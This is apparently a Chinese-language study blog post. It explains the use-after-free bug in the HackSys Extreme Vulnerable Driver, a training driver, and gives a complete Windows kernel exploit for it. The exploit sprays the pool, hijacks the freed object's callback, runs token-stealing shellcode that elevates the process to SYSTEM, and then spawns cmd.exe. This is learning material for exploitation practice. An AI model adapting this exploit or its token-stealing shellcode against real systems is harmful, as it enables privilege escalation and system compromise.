0x00:前言
本章所提到的漏洞为UAF(释放后利用),这也是目前我所接触到的第一个复杂一点的内核漏洞。参考文章:
0x01:漏洞原理
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
对比安全版本和不安全的版本,区别在于该free函数将内存指针Free后有没有将原来内存指针置空。这样就会留下一个野指针。UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。常利用的两个点为:
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
0x02:漏洞分析
根据这里的函数
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这里会调用该UAF对象的回调函数,因此我们只需要:
- 申请一个UFA对象
- 释放该UFA对象
- 再次申请一个伪造的对象占据之前释放的UAF对象的Callback函数位置
- 利用野指针来调用Callback函数,完成任意代码执行
在做这些事情之前,我想我有必要去了解一下Windows的内存池管理原理,以前接触过Linux的内存管理,关于Windows的我在安全客看到一篇不错的关于池的描述。
现在还有一个问题,就是关于我们释放的UAF对象如果和其他空闲块相邻的话,出于性能的考虑,内存分配器会核并这些块,这样我们就无法再申请到这个块了。为了避免这个情况,我们使用池喷射。在原文里使用了 NtAllocateReserveObject 函数,因为该函数申请的空间与UAF对象大小很接近。要使用它,我们需要使用GetProAd’d’ress来获取该函数地址并调用。至于如何调用
该函数可以创建一个大小为0x60的对象并返回一个函数句柄,只要句柄不释放,则该对象会一直保存在内存池中。接下来会首先创建10000个对象用于填充碎块化内容池空间,5000个对象连在一起。然后释放第二次申请的5000个对象中的偶数对象来在非分页内存池上挖坑。这样做的目的是为了让每个块都被两个已分配的内存包围,导致它们在释放时不会被合并。在分配完UAF对象处下断点
kd> g
****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******
****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******
[+] Freeing UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x85EBCD08
****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******
****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******
[+] Allocating UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x58
[+] Pool Chunk: 0x85EC9E88
[+] UseAfterFree Object: 0x85EC9E88
[+] g_UseAfterFreeObject: 0x85EC9E88
[+] UseAfterFree->Callback: 0x8E2E22A4
Breakpoint 1 hit
HEVD!AllocateUaFObject+0xfb:
8e2e23b1 c3 ret
kd> !pool
Please provide pool address to dump pool.
kd> !pool 0x85EC9E88
Pool page 85ec9e88 region is Nonpaged pool
85ec9000 size: 60 previous size: 0 (Free ) IoCo (Protected)
85ec9060 size: 40 previous size: 60 (Free) ....
85ec90a0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85ec9100 size: 60 previous size: 60 (Free) IoCo
85ec9160 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec91c0 size: 60 previous size: 60 (Free) IoCo
85ec9220 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9280 size: 60 previous size: 60 (Free) IoCo
85ec92e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9340 size: 60 previous size: 60 (Free) IoCo
85ec93a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9400 size: 60 previous size: 60 (Free) IoCo
85ec9460 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec94c0 size: 60 previous size: 60 (Free) IoCo
85ec9520 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9580 size: 60 previous size: 60 (Free) IoCo
85ec95e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9640 size: 60 previous size: 60 (Free) IoCo
85ec96a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9700 size: 60 previous size: 60 (Free) IoCo
85ec9760 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec97c0 size: 60 previous size: 60 (Free) IoCo
85ec9820 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9880 size: 60 previous size: 60 (Free) IoCo
85ec98e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9940 size: 60 previous size: 60 (Free) IoCo
85ec99a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9a00 size: 60 previous size: 60 (Free) IoCo
85ec9a60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9ac0 size: 60 previous size: 60 (Free) IoCo
85ec9b20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9b80 size: 60 previous size: 60 (Free) IoCo
85ec9be0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9c40 size: 60 previous size: 60 (Free) IoCo
85ec9ca0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9d00 size: 60 previous size: 60 (Free) IoCo
85ec9d60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9dc0 size: 60 previous size: 60 (Free) IoCo
85ec9e20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
*85ec9e80 size: 60 previous size: 60 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85ec9ee0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85ec9f40 size: 60 previous size: 60 (Free ) IoCo (Protected)
85ec9fa0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
在结果里可以看到申请的Hack块被夹在两个正在使用的IOCO对象块中间,这样就可以保证它在释放的时候不被回收了。
(这里说一个调试错误修复,一开始使用!pool命令会报错,需要使用!poolval命令来修复,百度查不到还是谷歌给力。。另外还知道了Windbg的命令直接在MSDN官方查就可以了…我还是无知)
接下来要做的就是进行写shellcode了。在 写的时候,申请5000个大小为0x60的池块,都将回调函数的地址处填写为shellcode,这样更大概率可以进行野指针的覆盖。
最终运行完整的代码,可以看到该地址被覆盖为了Shellcode地址。
同时在执行call时也看到了eax为存放shellcode的地址。
完整代码
#include<stdio.h>
#include<Windows.h>
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0
typedef void(*FunctionPointer) ();
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
HANDLE ReserveObjectArrayA[10000];
HANDLE ReserveObjectArrayB[5000];
__declspec(naked) VOID ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
int NtStatus = 0;
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
//进行池喷射
NtAllocateReserveObject_t NtAllocateReserveObject;
HMODULE hModule = NULL;
hModule = LoadLibraryA("ntdll.dll");
if (!hModule) {
printf("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject");
if (!NtAllocateReserveObject) {
printf("\t\t[-] Failed Resolving NtAllocateReserveObject: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
int i = 0;
for (i = 0; i < 10000; i++) {
NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 0; i < 5000; i++) {
NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
//释放偶数个的内存块
for (i = 0; i < 5000; i += 2) {
if (!CloseHandle(ReserveObjectArrayB[i])) {
printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
// 调用 AllocateUaFObject() 函数申请内存
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数释放对象
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
for (i = 0; i < 10000; i++) {
if (!CloseHandle(ReserveObjectArrayA[i])) {
printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 1; i < 5000; i += 2) {
if (!CloseHandle(ReserveObjectArrayB[i])) {
printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
printf("Start to write shellcode()...地址为0x%p\n",ShellCode);
//申请假的chunk
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的shellcode
fakeG_UseAfterFree->countinter = ShellCode;
//用A填满该chunk
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 堆喷射
printf("***********************************\n");
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to create cmd...\n");
CreateCmd();
return 0;
}
0x03:明日计划
继续学习漏洞利用